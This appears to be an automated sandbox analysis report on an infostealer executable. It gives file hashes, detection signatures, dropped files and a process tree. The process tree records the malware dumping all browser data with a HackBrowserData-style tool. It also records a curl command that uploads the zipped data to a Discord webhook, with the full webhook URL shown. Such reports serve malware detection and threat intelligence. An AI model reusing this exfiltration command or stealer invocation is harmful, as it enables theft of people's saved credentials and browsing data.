Analysis
- max time kernel
149s - max time network
138s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
07/06/2026, 07:08
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Resource
win10v2004-20260513-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Resource
win11-20260513-en
9 signatures
150 seconds
General
- Target 2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe
- Size 5.5MB
- Sample260607-hyfe7sbt2n
- SHA256 29c961505c5b9fa98c19d0184a707e10d2a656ee656f28f8efb95addf31b3ca8
- MD5 5e9908992c4311913ae7d40de79addb3
- SHA1 193b6ef1b1bea3b5dc1a980246d67c411c199d48
- SHA512 adc92422ae4bb5c13afdf190d818f9330fd8fa702f791ae0fca509d135f037f5ac3fef717b22d1a512ea61940fa5cca833004f68f8e84eee4670803958d7c5bd
- SSDEEP 98304:22PMeEK2HNocxOI4+Z9XzY8EwUeD5z84vkOJU2OzFgkkR4:C5HNoWOl+Z9XM8FVD5/P58Fgkkq
- TLSH T156461249F2A030F8D7F68D35A9734832DF7A3D0E1720A68B025575725B23598BF2E762
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: HackBrowserData
An open source golang web browser extractor.
- An open source browser data exporter written in golang. 1 IoCs
resource yara_rule behavioral2/files/0x001900000002b596-11.dat family_hackbrowserdata - Custom signatureDetects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral2/files/0x001900000002b596-11.dat INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - Executes dropped EXE 2 IoCs
pid Process 5888 stil.exe 948 Blosm.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 discord.com 2 discord.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 5304 wrote to memory of 2684 5304 2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe 80 PID 2684 wrote to memory of 5888 2684 cmd.exe 82 PID 2684 wrote to memory of 5880 2684 cmd.exe 84 PID 2684 wrote to memory of 948 2684 cmd.exe 85
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-06-07_5e9908992c4311913ae7d40de79addb3_cryptbot_icedid_luca-stealer_njrat_stealc.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5304 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\runner.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Users\Admin\AppData\Local\Temp\~26403\stil.exestil.exe -b all -f json --dir data --zip3⤵
- Executes dropped EXE
PID:5888
-
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\~26403\data\data.zip" https://discord.com/api/webhooks/1496200211486478378/2uB6CKW7GasADM_C7k8ztU8IcIE3TLkXPrsibUiHl16sICbNKuPl24qsVXHOOZ3d4EQx3⤵PID:5880
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe"3⤵
- Executes dropped EXE
PID:948
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Blosm.exe
- Size 2.5MB
- SHA256 7a8e7cef1750091581cdc42077ece15ae80dd70e2bad5eb5f47e9bed02d4270e
- MD5 1a81e4a49326ed22e26840c8b41b1e4d
- SHA1 29e42584914a60f694519621fc6aff22e1546832
- SHA512 2f7dabd8596e375f2b448af1fb65203e8399cd7be497133a498819d5e40e6e370de261b525d80cadc9769d34d3bdcffc0c16d60c55e2286dc59e672e6ba20739
- SSDEEP 49152:jVqnOzN+94ptozqtnKLjC7oGjhLUqjIh6okuh0mKGsPbotVDV2zlnNrBn/:o9gMC7oGjhLUqjIhnkXfMLVAVN
- TLSH T17AC5DF5D66E240E4C077D0789E4FAA0BE6757489072096DB13E0EDB52FA3AE11B7FB01
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\runner.bat
- Size 796B
- SHA256 369f85aecd73422d53df38e59b2d78da012fbe2d74594bc1f0a88810ed26c837
- MD5 10dba0d9864b628420b5d111b08d3ad6
- SHA1 4d2719a095813265aeb4fc65c04232d4422a84bc
- SHA512 f1cf53b15f8fea68b08fd626f2bd44239e51abac599f7ebf6faf89d02ef0599c8568a915919e16965b7a5d8f0b8307ae9f1166cef025fd03db91d09201b437f6
- TLSH T10D018E4E784505911A755BF9D38E029BDA3FC2DB4E1266C57951809E861E13433FDBC4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\stil.exe
- Size 9.3MB
- SHA256 e28e65b42f2596dc34c9845728e4ee6884d3e42b20397a9c4fcbe8cd63f8c193
- MD5 7be18f7881115b4b9fa5b19bc5da7e23
- SHA1 838839f163f8cb146ef9078956fe9a733d096299
- SHA512 50e8ee8c98f151cce3e7ea6a1eb5952a97d49bac553cd684e9f4d2bc631d41a07186b3ea412f8704873b00098513408f08d3c3229a52ec36b5592238650dbff2
- SSDEEP 98304:oTjEmCMgX0kWnB6Z0+RVOjejjVEfAOja:oTqz3XOYjMj
- TLSH T199A64A47E8A142E5C0AAC535C6669667BB713C884B3073D37B50F7382F76BD0AA7A704
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.6
- Size 16B
- SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
- MD5 aefd77f47fb84fae5ea194496b44c67a
- SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
- SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\CURRENT.bak
- Size 16B
- SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
- MD5 46295cac801e5d4857d09837238a6394
- SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
- SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Session Storage_8.temp\MANIFEST-000001
- Size 41B
- SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
- MD5 5af87dfd673ba2115e2fcf5cfdb727ab
- SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
- SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\debug_log.txt
- Size 86B
- SHA256 33af8de77c924c644fb5d1fe0c7efc9bd760129ba13533ed67dcef819c264d7d
- MD5 317126cb07ff8e1ffd50a65a665b0733
- SHA1 d3c75492c5f34ec78550ca3994dfc3acfdfbdd8c
- SHA512 7b5b2549916c4ec6a7a0ead46deef50cd1532af9b01d60c9a090080e3423014ae4648eb6f524b11e34d0bc50d6b4d587d9f914cc5fe73f1bb37736b70c7472e9
- TLSH T192A024D4014051D400FC3CCCC754054FF14D54F7044D1437355D030C575100141FC744
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\~26403\data\data.zip
- Size 3KB
- SHA256 3ae0dd0832ff9d97a97ae993e812702f2bc62d3cbe9ff2700c8f39d99748be05
- MD5 0154e546e9f08093fd4e18b0068014e3
- SHA1 88bb2f7644195579d86f783422250bd77bb3ebab
- SHA512 ae1b69850cd377f5459e8fc1bd27c4566ace702a34d9becf0fa5f37c286ed0bada5fafea0039a9ec195a084b21952693d7133dadb15edd642714e2511418d3ce
- TLSH T1E75177296D2BF335E58794B99441D842C2144F429239F26BA1D2FE291C099E14F8BBDE
- MD5 SHA1 SHA512 TLSH